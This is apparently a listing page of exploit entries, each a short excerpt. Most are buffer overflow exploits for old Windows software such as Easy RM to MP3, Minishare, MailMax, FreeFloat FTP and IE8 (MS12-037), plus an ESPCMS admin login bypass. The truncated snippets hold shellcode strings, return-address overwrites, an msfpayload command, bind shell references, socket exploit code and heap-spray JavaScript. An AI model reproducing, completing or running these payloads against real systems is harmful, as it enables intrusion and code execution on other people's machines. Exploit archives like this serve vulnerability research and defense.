IDEAL-Migration-2009-4.5.1

IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit Found By: DrIDE Usage: Right Click First Element in tree Open Migration Project Bind Shell Download: www.pointdev.com sc = "\x89\xe2\xdb\xcc\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"...

Exploit-Easy-RM-to-MP3-2.7.3.700

Exploit Title: Easy RM to MP3 2.7.3.700 Local Buffer Overflow .m3u , .pls , .smi , .wpl , .wax , .wvx , .ram Date: 4 / 8 / 2010 Author: Oh Yaw Theng Software Link: http://www.exploit-db.com/application/10642/ Version: 2.7.3.700 Tested on: Windows XP SP 1 This exploit works for all the file...

Mini-stream-RM-MP3-Converter

Tested on Windows XP SP3 Pro Found By : Cyber-Zone ABDELKHALEK http://www.securityfocus.com/bid/34494 The way exploit written is slightly different than above Vulnerability handler = "ftp://" buff1 = "D" 17418 eip = "\x7D\xA5\x04\x10" 0x1004A57D jmp esp C:\Program...

Minishare-1.5.5-Buffer-Overflow

Exploit Title: Minishare 1.5.5 Buffer Overflow Vulnerability users.txt Date: 11/02/2010 Author: Chris Gabriel Software Link: http://sourceforge.net/projects/minishare Version: 1.4.0 - 1.5.5 shellcode = "TYVTX10X41PZ41H4A4H1TA91TAFVTZ32PZNBFZDQE02D" "QF0D13DJE1F4847029R9VNN0D668M194A0I5G5L2G3W3"...

MP3-Nator-Buffer-Overflow

Exploit Title: Exploit Buffer Overflow MP3-Nator SEH - DEP BYPASS Date: 18-11-2010 Author: Muhamad Fadzil Ramli Credit/Bug Found By: C4SS!0 G0M3S Software Link: http://files.brothersoft.com/mp3audio/players/mp3nator.zip filename = 'crash.plf' ./msfpayload windows/exec CMD=calc EXITFUNC=seh R |...

DIZzy-1.12-Local

Exploit Title: DIZzy 1.12 Local Stack Overflow Google Dork: n/a Date: 17/11/2010 Author: g30rg3x shellcode = "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC" + "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45" + "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" +...

Microsoft-Office-2003-HomePro

Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3 Authors: b33f Ruben Boonen g11tch Chris Hodges import binascii filename = "evil.doc" ----------------------------------------------------------------------------------- File Structure...

NCMedia-Sound-Editor-Pro-7.5.1-SEH-DEP

Exploit: NCMedia Sound Editor Pro v7.5.1 SEHDEP Author: b33f - http://www.fuzzysecurity.com/ OS: Windows 7 Pro SP1 probably universal across 32-bit POC - Julien Ahrens XP SP3 Software: http://www.soundeditorpro.com/ import sys, socket, struct file="MRUList201202.dat"...

BlazeDVD-Pro-player-6.1-Stack-Based-Buffer

BlazeDVD Pro player 6.1 Local stack based buffer overflow Author: PuN1sh3r Email: [email protected] Date: Mon Jul 15 03:01:37 EDT 2013 Vendor link: http://www.blazevideo.com/download.htmm Software Link: http://www.blazevideo.com/download.php?product=BlazeDVDPro App Version: 6.1 $file =...

MailMax-4.6-POP3-

MailMax v4.6 POP3 "USER" Remote Buffer Overflow Exploit No Login Needed Newer version's not tested, maybe vulnerable too A hard one this, the shellcode MUST be lowercase. Plus there are many opcode's that break the payload and opcodes that gets changed, like "\xc3" gets converted to "\xe3", and...

Acunetix-Web-Vulnerability-Scanner

Exploit write-up: http://osandamalith.wordpress.com/2014/04/24/pwning-script-kiddies-acunetix-buffer-overflow/ /!\ Author is not responsible for any damage you cause This POC is for educational purposes only Video: https://www.youtube.com/watch?v=RHaMx8K1GeM while True: try: choice = intrawinput"...

Advantech-AdamView-GNI

!/usr/bin/env ruby Exploit Title: Advantech AdamView .gni SEH Buffer Overflow Date: Dec 09 2014 Vulnerability Discovery: Daniel Kazimirow and Fernando Paez - Core Security Exploit Author: Muhamad Fadzil Ramli mind1355atgmail.com Software Link:...

ESPCMS 权限限定绕过直接登录后台(DEMO站测试通过)

简要描述： ESPCMS 权限限定绕过直接登录后台 仅测试了 最新版本 然后demo测试进去看了一眼，别的什么也没做。 详细说明： 先看下 后台验证的代码 function softbase$adminpurview = false header"Content-Type: text/html; charset=utf-8"; $this-dbmysql; $this-commandinc; $this-systemfile; $this-cachedb; if $adminpurview $this-adminpurview; $this-sitelng = $this-getlng;...

NCTVideoStudio ActiveX DLLs 1.6 - Remote Heap Overflow PoC

No description provided by source. html ----------------------------------------------------------- br/ Author : Mountassif Mouad Stack br/ ----------------------------------------------------------- br/ NCTVideoStudio ActiveX DLLs Version 1.6 Reamote Heap Overflow Poc br/...

CA CAM log_security() Stack Buffer Overflow (Win32)

No description provided by source. $Id: camlogsecurity.rb 10394 2010-09-20 08:06:27Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of...

MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow

No description provided by source. $Id: mdaemonworldclientform2raw.rb 9653 2010-07-01 23:33:07Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing an...

FreeFloat FTP Server 1.0 - REST, PASV Buffer Overflow Exploit

No description provided by source. !/usr/bin/python +Exploit Title: FreeFloat FTP Server REST and PASV Buffer Overflow Exploit +Date: 18\06\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.freefloat.com/software/freefloatftpserver.zip +Version: 1.00 +Tested On: Windows XP SP3 Brazilian...

Microsoft Internet Explorer 8 - Fixed Col Span ID (Full ASLR + DEP + EMET 4.1.x Bypass) (MS12-037)

Microsoft Internet Explorer 8 - Fixed Col Span ID Full ASLR + DEP + EMET 4.1.x Bypass MS12-037 function strtointstr return str.charCodeAt10x10000 + str.charCodeAt0; var free = "EEEE"; while free.length 500 free += free; var string1 = "AAAA"; while string1.length 500 string1 += string1; var...

MP3 Studio 1.0 - (.mpf) Local BOF Exploit (SEH)

No description provided by source. !/usr/bin/perl MP3 Studio v1.0 mpf File Local BOF Exploit SEH Exploited by: Koshi Download: http://www.software112.com/products/mp3-millennium+download.html Based on PoC/findings by HACK4LOVE http://milw0rm.com/exploits/9277 Tested on WinXP SP3 I've used address...

KNet Web Server 1.04b - Stack Corruption BoF

No description provided by source. !/usr/bin/perl KNet Web Server Stack corruption BoF PoC Written by Wireghoul - http://www.justanotherhacker.com Date: 2013/04/11 Version: 1.04b Tested on: WinXP SP3 use IO::Socket::INET; $host = shift; $port = shift; print KNet Web Server stack corruption BoF Po...